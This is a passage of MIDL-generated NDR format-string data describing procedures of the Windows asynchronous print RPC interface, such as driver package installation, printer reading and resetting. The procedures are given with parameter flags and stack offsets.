*/\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3802 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3804 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3806 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3808 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3810 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3812 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3814 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3816 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3818 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3820 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hRpcHandle */\n\n/* 3822 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3824 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3826 */\tNdrFcShort( 0xc8c ),\t/* Type Offset=3212 */\n\n\t/* Parameter pNotifyFilter */\n\n/* 3828 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3830 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3832 */\tNdrFcShort( 0xc6c ),\t/* Type Offset=3180 */\n\n\t/* Parameter ppNotifyData */\n\n/* 3834 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 3836 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3838 */\tNdrFcShort( 0xc90 ),\t/* Type Offset=3216 */\n\n\t/* Return value */\n\n/* 3840 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3842 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3844 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetRemoteNotifications */\n\n/* 3846 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3848 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3852 */\tNdrFcShort( 0x3d ),\t/* 61 */\n/* 3854 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3856 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3858 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3860 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3862 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3864 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3866 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 3868 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 3870 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3872 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3874 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3876 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hRpcHandle */\n\n/* 3878 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3880 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3882 */\tNdrFcShort( 0xc8c ),\t/* Type Offset=3212 */\n\n\t/* Parameter ppNotifyData */\n\n/* 3884 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 3886 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3888 */\tNdrFcShort( 0xc90 ),\t/* Type Offset=3216 */\n\n\t/* Return value */\n\n/* 3890 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3892 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3894 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncInstallPrinterDriverFromPackage */\n\n/* 3896 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3898 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3902 */\tNdrFcShort( 0x3e ),\t/* 62 */\n/* 3904 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3906 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3908 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3910 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3912 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3914 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 3916 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3918 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3920 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3922 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3924 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 3926 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3928 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3930 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszInfPath */\n\n/* 3932 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3934 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3936 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszDriverName */\n\n/* 3938 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3940 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3942 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pszEnvironment */\n\n/* 3944 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3946 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3948 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter dwFlags */\n\n/* 3950 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3952 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3954 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3956 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3958 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3960 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncUploadPrinterDriverPackage */\n\n/* 3962 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3964 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3968 */\tNdrFcShort( 0x3f ),\t/* 63 */\n/* 3970 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 3972 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3974 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3976 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3978 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3980 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3982 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3984 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3986 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3988 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3990 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 3992 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3994 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3996 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszInfPath */\n\n/* 3998 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4000 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4002 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pszEnvironment */\n\n/* 4004 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4006 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4008 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter dwFlags */\n\n/* 4010 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4012 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4014 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszDestInfPath */\n\n/* 4016 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 4018 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4020 */\tNdrFcShort( 0xc98 ),\t/* Type Offset=3224 */\n\n\t/* Parameter pcchDestInfPath */\n\n/* 4022 */\tNdrFcShort( 0x158 ),\t/* Flags:  in, out, base type, simple ref, */\n/* 4024 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4026 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4028 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4030 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4032 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetCorePrinterDrivers */\n\n/* 4034 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4036 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4040 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4042 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 4044 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4046 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4048 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 4050 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4052 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 4054 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 4056 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4058 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4060 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4062 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 4064 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4066 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4068 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszEnvironment */\n\n/* 4070 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4072 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4074 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter cchCoreDrivers */\n\n/* 4076 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4078 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4080 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszzCoreDriverDependencies */\n\n/* 4082 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4084 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4086 */\tNdrFcShort( 0xcb6 ),\t/* Type Offset=3254 */\n\n\t/* Parameter cCorePrinterDrivers */\n\n/* 4088 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4090 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4092 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pCorePrinterDrivers */\n\n/* 4094 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4096 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4098 */\tNdrFcShort( 0xcfa ),\t/* Type Offset=3322 */\n\n\t/* Return value */\n\n/* 4100 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4102 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4104 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncCorePrinterDriverInstalled */\n\n/* 4106 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4108 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4112 */\tNdrFcShort( 0x41 ),\t/* 65 */\n/* 4114 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 4116 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4118 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4120 */\tNdrFcShort( 0x6c ),\t/* 108 */\n/* 4122 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4124 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 4126 */\t0xa,\t\t/* 10 */\n\t\t\t0xc1,\t\t/* Ext Flags:  new corr desc, has range on conformance has big byval param */\n/* 4128 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4130 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4132 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4134 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 4136 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4138 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4140 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszEnvironment */\n\n/* 4142 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4144 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4146 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter CoreDriverGUID */\n\n/* 4148 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 4150 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4152 */\tNdrFcShort( 0xcd6 ),\t/* Type Offset=3286 */\n\n\t/* Parameter ftDriverDate */\n\n/* 4154 */\tNdrFcShort( 0x8a ),\t/* Flags:  must free, in, by val, */\n/* 4156 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4158 */\tNdrFcShort( 0x55a ),\t/* Type Offset=1370 */\n\n\t/* Parameter dwlDriverVersion */\n\n/* 4160 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4162 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4164 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pbDriverInstalled */\n\n/* 4166 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4168 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4170 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4172 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4174 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4176 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrinterDriverPackagePath */\n\n/* 4178 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4180 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4184 */\tNdrFcShort( 0x42 ),\t/* 66 */\n/* 4186 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 4188 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4190 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4192 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4194 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4196 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 4198 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 4200 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4202 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4204 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4206 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 4208 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4210 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4212 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszEnvironment */\n\n/* 4214 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4216 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4218 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pszLanguage */\n\n/* 4220 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4222 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4224 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszPackageID */\n\n/* 4226 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4228 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4230 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pszDriverPackageCab */\n\n/* 4232 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 4234 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4236 */\tNdrFcShort( 0xd28 ),\t/* Type Offset=3368 */\n\n\t/* Parameter cchDriverPackageCab */\n\n/* 4238 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4240 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4242 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcchRequiredSize */\n\n/* 4244 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4246 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4248 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4250 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4252 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 4254 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterDriverPackage */\n\n/* 4256 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4258 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4262 */\tNdrFcShort( 0x43 ),\t/* 67 */\n/* 4264 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4266 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4268 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4270 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4272 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4274 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 4276 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4278 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4280 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4282 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4284 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 4286 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4288 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4290 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszInfPath */\n\n/* 4292 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4294 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4296 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pszEnvironment */\n\n/* 4298 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4300 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4302 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 4304 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4306 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4308 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncReadPrinter */\n\n/* 4310 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4312 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4316 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 4318 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4320 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4322 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4324 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4326 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4328 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4330 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 4332 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4334 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4336 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4338 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4340 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4342 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4344 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4346 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pBuf */\n\n/* 4348 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4350 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4352 */\tNdrFcShort( 0x502 ),\t/* Type Offset=1282 */\n\n\t/* Parameter cbBuf */\n\n/* 4354 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4356 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4358 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcNoBytesRead */\n\n/* 4360 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4362 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4364 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4366 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4368 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4370 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncResetPrinter */\n\n/* 4372 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4374 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4378 */\tNdrFcShort( 0x45 ),\t/* 69 */\n/* 4380 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4382 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4384 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4386 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4388 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4390 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4392 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 4394 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 4396 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4398 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4400 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4402 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4404 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4406 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4408 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pDatatype */\n\n/* 4410 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4412 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4414 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 4416 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4418 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4420 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Return value */\n\n/* 4422 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4424 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4426 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetJobNamedPropertyValue 